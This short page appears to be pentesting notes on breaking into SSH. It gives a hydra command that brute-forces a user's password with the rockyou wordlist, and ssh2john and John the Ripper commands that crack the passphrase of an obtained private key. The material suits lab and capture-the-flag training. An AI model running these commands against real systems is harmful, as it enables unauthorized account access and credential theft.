SSH Brute and Private Key Passphrase Crack

When SSH only requires a username and passwrod.

hydra -l james -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.13.37

When SSH uses a private key that you have obtained but with a passphrase you do not currently know.

chmod 600 id_rsa # Assuming you moved the file

ssh -i id_rsa -p 2222 [email protected]
Enter passphrase for key 'id_rsa': #Wrong password
Enter passphrase for key 'id_rsa': #Wrong password
Enter passphrase for key 'id_rsa': #Wrong password
ssh2john id_rsa > ssh.hash
cat ssh.hash
id_rsa:$sshng$6$16$77059e

Using John The Ripper JtR to to crack the password.

john --wordlist=rockyou.txt ssh.hash

Last updated

Was this helpful?